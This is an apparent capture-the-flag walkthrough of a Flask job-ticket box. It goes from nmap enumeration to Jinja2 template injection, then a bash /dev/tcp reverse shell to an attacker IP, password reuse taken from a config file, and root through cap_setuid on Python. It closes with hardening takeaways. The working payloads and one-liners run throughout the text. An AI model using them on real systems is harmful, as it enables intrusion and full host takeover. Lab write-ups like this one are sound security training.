Enumeration
Nmap showed the usual small Linux footprint: SSH and a web server. The HTTP service advertised a Werkzeug/Python banner, which is a strong hint that a Flask application is behind it — and Flask means Jinja2 templating is one careless render_template_string away.
nmap -sV -sC -p- --min-rate 5000 -oA foundry 10.10.11.71
# 22/tcp open ssh OpenSSH 9.6p1 Ubuntu
# 80/tcp open http Werkzeug/3.0.3 Python/3.12.3
The site was an internal "casting foundry" job-ticket tracker. The interesting feature was a ticket preview: you enter a job title and description, and the app renders a formatted preview back to you before you submit. Any time an application echoes your input into a server-rendered page, the first question is whether it is being concatenated into a template rather than passed as data.
Foothold — Jinja2 Server-Side Template Injection
I probed the preview field with the canonical arithmetic test. If {{7*7}} comes back as 49, the input is being evaluated as a template expression, not printed literally.
curl -s http://10.10.11.71/preview \
--data-urlencode 'title=test' \
--data-urlencode 'body={{7*7}}'
# ... <div class="preview-body">49</div> ... <- evaluated: confirmed SSTI
A raw 49 confirmed Jinja2 SSTI. From an evaluated expression, the standard route to command execution walks Python's object model — from any object up to object, across its subclasses to something that can spawn a process. To keep the payload robust against a partial sandbox, I used the cycler / lipsum globals that Jinja exposes, which reach os directly:
# lipsum.__globals__ exposes the os module -> os.popen for command output
curl -s http://10.10.11.71/preview \
--data-urlencode 'title=x' \
--data-urlencode "body={{ lipsum.__globals__['os'].popen('id').read() }}"
# uid=1000(svc_web) gid=1000(svc_web) groups=1000(svc_web)
With command execution as svc_web, I swapped the id for a reverse shell. URL-encoding the payload and pointing it at a waiting listener gave an interactive shell:
# Listener: nc -lvnp 9001
PAYLOAD="{{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.10.14.9/9001 0>&1\"').read() }}"
curl -s http://10.10.11.71/preview \
--data-urlencode 'title=x' --data-urlencode "body=${PAYLOAD}"
# svc_web@foundry:/opt/foundry-app$
Lateral Movement — Credential Reuse from the App Config
Web application accounts almost always sit on top of a config file with database or service credentials, and developers reuse passwords across contexts far more than they admit. The Flask app's instance config was readable by the service account:
svc_web@foundry:/opt/foundry-app$ cat instance/config.py
# SECRET_KEY = "c1f3...".
# SQLALCHEMY_DATABASE_URI = "postgresql://foundry:F0undry_Cast!ng_2026@localhost/foundry"
# ADMIN_EMAIL = "[email protected]"
A database password, a hint of a real username (m.hale), and a home directory to match. Password reuse between the database and the user's SSH account is exactly the sloppiness these boxes reward, and it paid off:
ssh [email protected]
# [email protected]'s password: F0undry_Cast!ng_2026
m.hale@foundry:~$ cat user.txt
Privilege Escalation — cap_setuid on the Python Binary
With a real user shell, the fastest wins on Linux are sudo rules, SUID binaries, and — the one people forget to check — file capabilities. Capabilities grant a subset of root's powers to a specific binary without the SUID bit, so they do not show up in a find -perm -4000 sweep. Enumerating them directly is the move:
m.hale@foundry:~$ getcap -r / 2>/dev/null
# /usr/bin/python3.12 = cap_setuid=ep
cap_setuidlets a process change its user ID freely — the exact primitive the kernel uses to drop privileges, handed to a general-purpose interpreter. A binary that can callsetuid(0)and then run arbitrary code is root by definition. On Python it is a one-liner.
The ep flags mean the capability is Effective and Permitted, so a script that calls os.setuid(0) before spawning a shell runs that shell as root:
m.hale@foundry:~$ /usr/bin/python3.12 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@foundry:~# id
# uid=0(root) gid=1000(m.hale) groups=1000(m.hale)
root@foundry:~# cat /root/root.txt
The capability was almost certainly set during a deployment step that needed the app to bind a privileged port or drop privileges itself, then never reverted — a classic case of a temporary grant becoming permanent.
Key Takeaways
- Never render untrusted input as a template. The whole foothold is one function call away from safe:
render_template_string(user_input)concatenates attacker data into the template source, while passing that same data as a context variable to a static template treats it as inert text. Jinja2's autoescaping protects against XSS but does nothing against SSTI, because the injection happens at compile time, before escaping ever runs. Treat template source as code and user input as data, and never let the two mix. - Config files are credential stores, and credentials get reused. The jump from web-service account to a real user was free because the database password doubled as an SSH password. Secrets belong in a secrets manager or environment injected at runtime, scoped so the application account cannot read more than it needs — and every credential should be unique, so that compromising one context does not unlock another. Password reuse turns a contained web-app compromise into host access.
- Audit Linux capabilities, not just SUID.
getcap -r /should be part of every host review and every hardening baseline, because capabilities are invisible to SUID-focused checks and grant precisely-targeted slices of root that are trivially abusable on interpreters and network tools (cap_setuid,cap_dac_override,cap_sys_adminon python/perl/node are all game over). Grant capabilities to purpose-built wrapper binaries that do exactly one thing, never to a general-purpose interpreter, and revert temporary deployment grants the moment they are no longer needed.